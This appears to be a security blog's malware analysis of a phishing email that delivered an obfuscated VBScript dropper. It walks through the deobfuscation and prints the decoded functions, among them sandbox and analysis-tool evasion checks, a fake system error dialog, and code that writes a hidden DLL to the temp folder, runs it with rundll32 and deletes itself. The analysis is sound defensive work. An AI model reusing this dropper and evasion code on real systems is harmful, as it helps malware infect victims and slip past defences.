The Phish

An employee who fields a customer service inbox received the following email (with some redactions):

from:tvaugn <tvaugn@imboni.rw>
to: memberservices <memberservices@{domain}.com>
date: May 11, 2021, 9:29:11 AM
subject: Re: Newsletter Popups - PAID SUBSCRIBER

Hi there ! It is me, tvaugn@{somedomain}.com. Right here I send you a last company contract. Check it please! hxxps://1drv[.]ms/u/s!AiIsZsbRbvS0eKklzU_b_zX6SEU?e=8yFcYk password: 4392 Many thanks ahead! On 2019-11-19 17:56, memberservices@{domain}.com wrote:

Artifacts indicated that the employee clicked on the URL in the email. The URL took them to a Microsoft OneDrive location that downloaded a password protected ZIP named file_78840.zip. The user opened and extracted the contained file_78840.vbs.

Lucky for us, our EDR, Cisco AMP for Endpoints, detected the ZIP file as VBS.Heur.ObfDldr.26.45307C74.Gen and quarantined it.

file_78840.vbs

Searching through the email logs it was observed that there was a legitimate email transaction between customer service and a customer with the very same Subject. The customer also had the email address referenced in the email, although it was not used as the From.

Of interest with the legimate transaction is that it was from 2019, about a year and a half previous to this phish. One can only guess that the customer’s email account or workstation had now been compromised and the phisher was sending emails that would appear to be part of a thread.

Headers in the email also seemed to indicate that it originated from a compromised WordPress site.

X-EN-Info: U=ipg.jeangatarayiha81793 P=/wp-includes/SimplePie/Decode/HTML/defense.php
X-EN-CGIUser: ipg.jeangatarayiha81793
X-EN-CGIPath: /wp-includes/SimplePie/Decode/HTML/defense.php
X-EN-OrigIP: 45.3.199.154

Reverse Engineering

First thing we see in the obfuscated VBS is that they have two types of garbage comments to help get in the way.

Figure 1

Let’s start by stripping the comments. Since we’re doing our work on Ubuntu, we’ll also convert to unix line enders.

cat file_78840.vbs | dos2unix | sed 's/REM .*//' | sed "s/'.*//" | sed 's/:$//' > file_78840-no-comments.vbs

Looking through the script there is a limited set of statements. There are a whole lot of assigments, either Array’s or const’s.

Kcl = Array(EgOy,f,wb,1,N,1,...)
const dc = 163
const jbnk = 162
mdUPT = Array(1,1,1,1,1...)

The first thing that is not an assigment is this.

execute(jSq(Ebs))

Ah hah, they want to execute something. We can see that Ebs is an Array.

Ebs=Array(xVL,Cb,HJO,E...)

jSq is some kind of function that must decode the array before execution.

Function jSq(furrow)

    ironwood=1:AvNm=9

    YDoa = lbound(furrow)
    sonny = ubound(furrow)
    for XfWBH = YDo to sonny
        Randomize
        if furrow(XfWBH) = 999999 Then
            Marx716 = Marx716 & ChrW(Int((ironwood-AvNm+1)*Rnd+AvNm))
        Else
            Marx716 = Marx716 & ChrW(furrow(XfWBH) - (((81 + 257.0) - (439 - 109.0)) + (-7.0)))
        End if
    Next
    jSq = Marx716
End Function

The expression (((81 + 257.0) - (439 - 109.0)) + (-7.0)) is simply the integer 1.

What jsq() does is iterate across the array and subtract 1 from each element and create a string from it.

Looking at the Array() though shows non-integers. Looking again at the first Array() that will be decoded is this.

Ebs=Array(xVL,Cb,HJO,E...)

Turns out that those elements are declared as constants like this.

const xVL = 71
const Cb = 118
const HJO = 111

Swapping out the constants shows Ebs to actually look more like this.

Ebs=Array(71,118,111,...)

At the very bottom of the script are a series of random words not commented out. Later we’ll discover that each of these is a function.

genital
inquisitor
mrQL
ablate
bar
impost
daddy501
vyV
diet
qHW
plural

Decode the Arrays

Let’s create a Python to safely decode the Arrays, first extract all the constants since they must be declared prior to the Arrays.

grep "const " file_78840-no-comments.vbs | sed 's/^const //' > file_78840.py

Next pull out the Arrays.

grep "Array(" file_78840-no-comments.vbs | sed 's/Array(/[/' | sed 's/)/]/' >> file_78840.py

Let’s create a Python version of the jSq() function.

def jSq(encoded):
    output = ''
    for element in encoded:
        output += chr(element - 1)
    return output

Edit file_78840.py and append the above function to it.

Lastly grab the executes.

grep "execute" file_78840-no-comments.vbs | sed 's/execute/print/' >> file_78840.py

The end of the script should just print the output of the decoded arrays.

print(jSq(Ebs))
print(jSq(VEesNwE))
print(jSq(KTmWvwHB))
...

Now we can run our Python version of the script

python file_78840.py > file_78840-decoded1.vbs

Looking at our output we suddenly have a bunch of actual code to examine.

genital()

Function genital()
WKh("DEBUG: FS_TD1 - Start")
WKh("DEBUG: FS_TD2 - Start")
on error resume next
Dim ironwood,AvNm
ironwood=6000
AvNm=2000
Randomize
WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
schelling = (30 - ((91 + (-41.0)) + (-(339 - 316.0))))
schelling_download = (((31 + 830.0) - 792.0) + (-(7 + 59.0)))
If CreateObject("Scripting.FileSystemObject").GetFolder(rumple).Files.Count < schelling Then
WKh("DEBUG: FS_TD1 - False")
WKh("DEBUG: FS_TD2 - Terminated")
milord
End If
REM genus, periphrastic circumstance Pembroke...

Interestingly even the encoded VBS has garbage remarks, so lets strip them.

sed 's/REM .*//' < file_78840-decoded1.vbs | sed "s/'.*//" > file_78840-decoded2.vbs

The first function is named genital(). Here it is indented with added comments.

Function genital()
    WKh("DEBUG: FS_TD1 - Start")
    WKh("DEBUG: FS_TD2 - Start")
    on error resume next
    Dim ironwood,AvNm
    ironwood=6000
    AvNm=2000
    Randomize
    ' sleep 6 to 2 seconds
    WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    schelling = (30 - ((91 + (-41.0)) + (-(339 - 316.0))))
    'schelling = 3
    schelling_download = (((31 + 830.0) - 792.0) + (-(7 + 59.0)))
    'schelling_download = 3
    If CreateObject("Scripting.FileSystemObject").GetFolder(rumple).Files.Count < schelling Then
        WKh("DEBUG: FS_TD1 - False")
        WKh("DEBUG: FS_TD2 - Terminated")
        milord
    End If
    WKh("DEBUG: FS_TD1 - True")
    Set corrigenda = CreateObject("WScript.Shell")
    dash984 = corrigenda.ExpandEnvironmentStrings("%USERPROFILE%") + "\Downloads\"
    If CreateObject("Scripting.FileSystemObject").GetFolder(dash984).Files.Count < schelling_download Then
        WKh("DEBUG: FS_TD2 - False")
        milord
    End If
    WKh("DEBUG: FS_TD2 - True")
End Function

This function appears to do some sleeping before checking the number of files in two locations.

But of real interest is there’s debugging statements using another function WKh().

Chasing down the function rumple() we find this.

Function rumple()
rumple = CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder((((69 - 25.0) + 18.0) + (-(901 - 841.0)))) + "\")
End Function

So what it does is use GetSpecialFolder(2) to find out what %TMP% is.

Okay, so genital() is checking that there are at least 3 or more files in %TMP% and the users Download folder.

If it has less, then it calls milord().

milord()

Function milord()
    If (InStr(WScript.ScriptName, cStr(48446)) > 0 And between = 0) Then
        MsgBox("DEBUG: SANDBOX PUSH")
    Else
        devastate("-")
        suburb
        WScript.Quit
    End If
End Function

If the scriptname contains the string “48446” it will show a debugging MsgBox(). Interesting.

Based on what genital() just looked for and the debugging message, it’s safe to say that its purpose is to try to determine if it’s running in a sandbox and quit.

inquisitor()

Function inquisitor()
    WKh("DEBUG: FS_PROCESS - Start")
    WKh("DEBUG: FS_PROCESSCOUNT - Start")
    on error resume next
    Dim ironwood,AvNm
    ironwood=6000
    AvNm=3000
    Randomize
    WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    XfWBHproc = (((7835 - 7818.0) + 56.0) - (14 + 59.0)) ' all this is equal to 0
    songbird = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")

    ' wmic /namespace:\\root\cimv2 path Win32_Process GET *
    Set mummify = GetObject("winmgmts:\\.\root\cimv2")
    Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_Process")
    For Each WFS In XfWBHlItems
        XfWBHproc = XfWBHproc + 1
        For Each kPXa In songbird
            If WFS.Name = kPXa Then
                WKh("DEBUG: FS_PROCESS - False")
                WKh("DEBUG: FS_PROCESSCOUNT - Terminated")
                milord
            End If
        Next
    Next
    WKh("DEBUG: FS_PROCESS - True")

    If (XfWBHproc < 28) Then
        ' Cisco Threat Grid lands here
        WKh("DEBUG: FS_PROCESSCOUNT - False")
        milord
    End If
    WKh("DEBUG: FS_PROCESSCOUNT - True")
End Function

We’ve got another sandbox detection function. This time it’s looking for processes. If one is found or if there are less than 28 running, the script will quit.

peony76590

Function peony765()
    WKh("DEBUG: F_UNZIP - Start")
    Dim bbxu: Set bbxu = CreateObject("Scripting.FileSystemObject")
    Dim videotape: Set videotape = CreateObject("Shell.Application")
    Set WFSs=videotape.NameSpace(rumple + "mango.mpe").Items()
    videotape.NameSpace(rumple).copyHere WFSs, (((69 + 4.0) + (8 + 1093.0)) - 1158.0)
    bbxu.DeleteFile rumple + "mango.mpe", True
    WKh("DEBUG: F_UNZIP - True")
End Function

Looks useful, however, it does not appear to be called elsewhere.
Perhaps in another iteration of the malware.

mrQL()

Function mrQL()
    WKh("DEBUG: FS_CLB - Start")
    on error resume next
    Dim ironwood,AvNm
    ironwood=5000
    AvNm=2000
    Randomize
    WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    set Berea = GetObject("winmgmts:\\.\root\cimv2")
    set XfWBHlOS = Berea.InstancesOf("Win32_OperatingSystem")
    for each muskmelon in XfWBHlOS
        ostrich = muskmelon.LastBootUpTime
        xmP = Mid(ostrich,1,4) & "-" & Mid(ostrich,5,2) & "-" & Mid(ostrich,7,2) & " " & Mid(ostrich,9,2) & ":" & Mid(ostrich,11,2) & ":" & Mid(ostrich,13,2)
        gobbledygook = abs(datediff("s",xmP,now))
        PUH = gobbledygook \ 60
        gulf = PUH \ 60
        PUH = PUH mod 60
        RVjhQ = RVjhQ mod 60
        If (gulf = 0 And PUH < 10) Then
            WKh("DEBUG: FS_CLB - False")
            milord
        End If
    next
    WKh("DEBUG: FS_CLB - True")
End Function

Besides sleeping, this is another sandbox check. If uptime is less than 10 minutes, then quit.

plural()

Function plural()
    WKh("DEBUG: F_RUN - Start")
    ironwood=60000
    AvNm=40000
    Randomize
    Set mummify = GetObject("winmg" + "mts:Win32_Pro" + "cess")
    If (InStr(WScript.ScriptName, cStr(48446)) > 0 And between = 0) Then
        vyV
        With WScript
            .Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
        End With
        puff = "ca" + "lc.e" + "xe"
        mummify.create puff
        WKh("DEBUG: F_RUN_T - True")
    Else
        vyV
        With WScript
            .Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
        End With
        ydb = "rundll32" + " " + rumple + "mango.mpe" + ",DllRegisterServer":mummify.create ydb
        WKh("DEBUG: F_RUN_W - True")
        devastate("-")
        suburb
    End If
End Function

This one checks if the scriptname contains the string 48446, if so, it sleeps and launches calc.exe. Otherwise, it calls vyV(), sleeps and performs a rundll32 against some file called mango.mpe.

daddy501()

Function daddy501()
    WKh("DEBUG: F_MESSAGE - Start")
    Dim ironwood,AvNm
    ironwood=30000
    AvNm=5000
    Randomize
    With WScript
        .Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    End With
    dCit = MsgBox("Cant start because MSVCR101.dll is missing from your computer. Try reinstalling the program to fix this problem.", vbSystemModal+vbCritical, "System Error")
    WKh("DEBUG: F_MESSAGE - True")
End Function

The victim is presented with a misleading dialog.

devastate()

Function devastate(drunken)
    on error resume next
    Dim MRbh: Set MRbh = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    ' setOption(2) = 13056
    MRbh.setOption(2) = ((((10 + 16033.0) - 431.0) - 42.0) - 2514.0)
    MRbh.Open "GET", drunken, False
    MRbh.setRequestHeader "User-Agent", "Mozilla/4.0"
    MRbh.Send
End Function

This performs an HTTP connection to the provided argument.

ablate()

Function ablate()
    WKh("DEBUG: FS_FCH - Start")
    on error resume next
    Dim ironwood,AvNm
    ironwood=5000
    AvNm=2000
    Randomize
    WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    Set mummify = GetObject("winmgmts:\\.\root\cimv2")
    Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_LogicalDisk")
    For Each WFS In XfWBHlItems
        warhead = warhead + Int(WFS.Size / (((1073741842 - 3.0) - 10.0) - (8 + (-3.0))))
    Next
    ' round(warhead) < 50
    If round(warhead) < (70 + (-(((597 - 582.0) + 999.0) - 994.0))) Then
        WKh("DEBUG: FS_FCH - False")
        milord
    End If
    WKh("DEBUG: FS_FCH - True")
End Function

This sandbox check looks at hard drives to confirm they’re at least 50GB or more.

qHW()

Function qHW()
    WKh("DEBUG: F_DROPPED - Start")
    Dim rheostat:Set rheostat = CreateObject("ADO"+"DB.S"+"tr"+"eam")
    With rheostat
        .Type = 2
        .Charset = "ISO-8859-1"
        .Open()
        For Each vlz in Array(Kcl, mdUPT, Uekvw, Dgg, zdp, apg, nbFE, dMHx, HXCvq, wIdg, aonRC, dMg, aMGtd, LPgq, KOPGl, qqHzY, giw, xBpp, Iags, QUnr, bLiuv, oDR, lJu, fTg, CmcB, mVfV, tDdz, iJx, HIYIK, gtD, TcTno, tJbw, IYz, Clqh, Bkwdq, qvY, nVZj, QWP, PmJ, iVGo, EUg, IPBM, cfX, hxphz, hOB, AfvL, rnr, CWonP, EbMbs, JNk, YBbtI, PpQrf, WxMF, EqgFF, dcjWC, oNA, tlS, LhHys, HcZ, fLkFs, Whww, MZLQ, mYz, fbdTi, uHjo, kZwr, fAC, mjj, vpWT, bPaw, qglvu, XNnY, cZqJ, AJIcC, iylYZ, cCIAB, eSwLK, Xvv, KeY, skW, ziBli, SGCl, lWYiW, FYlt, KWmjn, BGE, VLp, PaS, vSdO, KhdWR, nAdY, ZvhsC, bdvj, IgEz, hfzM, wZNG, BXGU, jcuC, byF, KjI, SKUz, EJLQq, rwnWu, AHPY, mHX, yPfW, BXxCi, rlNqN, ZrXKV, yrXAB, GjPb, ttC, FxRuD, FRID, oQcem, lEe, Nrq, dOpA, FsZ, ESW, aykdF, WDFme, YQlwr, leJmO, IHr, eBh, KlRfc, jql, ybDz, dauiL, RFEK, irb, DQot, QMvwI, nEFe, fSI, fkmMb, dNK, QhjvO, axN, XqLKF, EnNq, vmuhM, qNZ, tfT, CtUy, pHZG, lAQ, KgM, QUam, Yemxj, aCOuV, MlOn, PUeV, oJAA, FpzA, mAuX, Rixcu, kIAZG, ondjk, BIIJ, FHrWH, LYW, xosJH, ewfyv, GCr, xItmv, TBM, Yxf, URyG, pgjtH, brJ, AfLE, fArn, zjDxI, vUYaT, vGN, gLhjX, JCEg, DyqD, guhl, AhrJf, rgyg, uele, SThPj, enpqO, xvEs, AEm, SoSKG, nOJ, yBsXJ, FUnhV, eBUlE, ofbj, ofRjZ, RyYB, QCfK, QsJ, HZQRt, AquQn, uNGo, aQxJ, nXkOF, FDE, TgZfg, pwoWN, FQI, AJf, ZKr, TYYq, sgxd, OgQqc, FYr, sZMK, HJECS, ygDz, tBVd, HkxD, ZPC, jSZ, tQMc, wuES, YLHxH, jpYse, GKKuf, Qyy, xYE, uTHA, vaG, arfSL, fhCYj, cUjNr, dKN, RbG, Ecqkc, Kox, eJFIp, PHI, RpmCt, paFp, xYV, Dzauf, bOJ, dXTsW, kSgEU, LhEvD, ZTOSS, VhGO, LkdNe, hFkkX, bHWII, GamhC, pGTC, bBD, aDXQ, UPEG, VPHPP, bAXS, Vtnfq, nys, TkoLa, QuRp, IIPdn, PsSu, CwdI, kLwG, jIGX, ceY, AuPE, sKizB, VsS, CIew, vkaa, dIB, YNDCX, Coh, dyJh, AqfE, AXO, SfOyo, xQPJ, IFkS, lhb, yVy, gTK, pJP, EbV, dmZ, jDnyG, LTVLR, fxa, Hqf, GAYUA, PBc, bna, THlD, hZRCg, UsctZ, Amr, ynX, LAsRG, ArJkB, GYypB, HWWTs, WMGh)
            .WriteText jSq(vlz)
        Next
        .Position = 0
        .SaveToFile rumple + "mango.mpe", 2
        .Close
    End With
    WKh("DEBUG: F_DROPPED - True")
End Function

This creates a file named %TMP%\mango.mpe.

Here it uses an Array of Arrays, feeding each one to jSq(). So the reason why the VBS is so large is that there is a 482,816 byte DLL encoded inside it.

mango.mpe

WKh()

Function WKh(DWLf)
    If (InStr(WScript.ScriptName, cStr(48446)) > 0 And between = 0) Then
        MsgBox(DWLf)
    End If
End Function

All of the functions call WKh() to display debugging messages if the script name contains the string 48446 or if there is a file named %USERPROFILE%/Downloads/48446.txt .

bar()

Function bar()
    WKh("DEBUG: FS_FCC - Start")
    on error resume next
    Set mummify = GetObject("winmgmts:\\.\root\cimv2")
    Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_Processor", , ((106 - (5 + 6.0)) + (-(2798 - 2751.0))))
    For Each WFS In XfWBHlItems
        ' WFS.NumberOfCores < 3
        If WFS.NumberOfCores < ((75 - 5.0) - ((79 + (-18.0)) + 6.0)) Then
            slzu = True
            WKh("DEBUG: FS_FCC - False")
        End If
    Next
    If slzu Then
        milord
    End If
    WKh("DEBUG: FS_FCC - True")
End Function

Sandbox check for at least 3 cores.

impost()

Function impost()
    WKh("DEBUG: FS_CM - Start")
    on error resume next
    Dim ironwood,AvNm
    ironwood=6000
    AvNm=3000
    Randomize
    WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    Set mummify = GetObject("winmgmts:\\.\root\cimv2")
    Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_ComputerSystem")
    For Each WFS In XfWBHlItems
        warhead = warhead + Int((WFS.TotalPhysicalMemory) / (1048665 - ((29 + (-(8730 - 8723.0))) + 67.0)))
    Next
    ' warhead < 1030
    If warhead < ((52 + (5878 - 4894.0)) - (1182 - 1176.0)) Then
        WKh("DEBUG: FS_CM - False")
        milord
    End If
    WKh("DEBUG: FS_CM - True")
End Function

Sandbox check for at least 1030 MBytes.

diet()

Function diet()
    WKh("DEBUG: F_LOCKFILE - Start")
    Dim ironwood,AvNm
    ironwood=10000
    AvNm=4000
    Randomize
    With WScript
        .Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    End With
    Dim dyM: Set dyM = CreateObject("WScript.Shell")
    Dim bbxu: Set bbxu = CreateObject("Scripting.FileSystemObject")
    If (bbxu.FileExists(rumple + "adobe.url")) Then
        WKh("DEBUG: F_LOCKFILE - False")
        milord
    Else
        With dyM.createShortcut(rumple + "adobe.url")
            .TargetPath = "https://adobe.com"
            .Save()
        End With
        WKh("DEBUG: F_LOCKFILE - True")
    End If
End Function

Looks for TMP%/adobe.url. If it exists, quit. Otherwise create a shortcut file.

suburb()

Function suburb()
    Dim Im: Set Im = WScript.CreateObject("Scripting.FileSystemObject")
    Im.DeleteFile WScript.ScriptFullName, True
End Function

Delete the running script.

vyV()

Function vyV()
    Dim ironwood,AvNm
    ironwood=10000
    AvNm=4000
    Randomize
    With WScript
        .Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
    End With
    diabolic = 0
    Do While diabolic < 100000000
        If (diabolic = 100000000) Then
            WKh("DEBUG: F_COUNTERS - False")
            WScript.Quit
        End If
        If (diabolic = 5000000) Then
            Exit Do
        End If
        diabolic = diabolic + 1
    Loop
    With WScript
        .Sleep 5000
    End With
    WKh("DEBUG: F_COUNTERS - True")
End Function

Besides some simple sleeping, performs a counting loop. Maybe this helps deal with sandboxes.

between()

Function between()
    ' check if %USERPROFILE%\Downloads\48446.txt exists
    ' if so return 0, else 1
    Set corrigenda = CreateObject("WScript.Shell")
    dash984 = corrigenda.ExpandEnvironmentStrings("%USERPROFILE%") + "\Downloads\" + "48446" + ".txt"
    If WScript.CreateObject("Scripting.FileSystemObject").FileExists(dash984) Then
        KiLo = ((51 - 32.0) + (-((67 - 2.0) + (-46.0))))
        'Kilo = 0
    Else
        KiLo = ((38 + 48.0) + (-(251 - (2186 - 2020.0))))
        'KiLo = 1
    End If
    between = KiLo
End Function

This is one of the two debugging mode checks. If %USERPROFILE%\Downloads\48446.txt then return 0, else return 1.

Sequence of Execution

Looking back at the initial VBS, the sequence of functions is as follows with comments as to what they perform.

Function Description
genital sandbox check for number of files in %TMP% and Downloads
inquisitor sandbox check for process names or less than 28 processes
mrQL sandbox check for uptime of 10 minutes or less
ablate sandbox check for hard drive less than 50GB
bar sandbox check for less than 3 CPU cores
impost sandbox check for less than 1030 Mbytes of memory
daddy501 show misleading message to user
vyV sleep and spin CPU
diet check for lock file adobe.url
qHW create file %TMP%/mango.mpe
plural execute %TMP%/mango.mpe

Purpose

The whole purpose of the VBS is to contain a DLL, perform sandbox checks, extract and execute the DLL.

Debug Mode

You can run this VBS in debug mode by simply renaming the original script so that it contains the string 48446. It will show MsgBox’s with debugging statements and it doesn’t launch the next payload.

Similar malware

After reversing I found an extremely similar analysis here https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex by Arnold Osipov.

IOCs

  • hxxps://1drv[.]ms/u/s!AiIsZsbRbvS0eKklzU_b_zX6SEU?e=8yFcYk

References

Sample

The sample can be found here: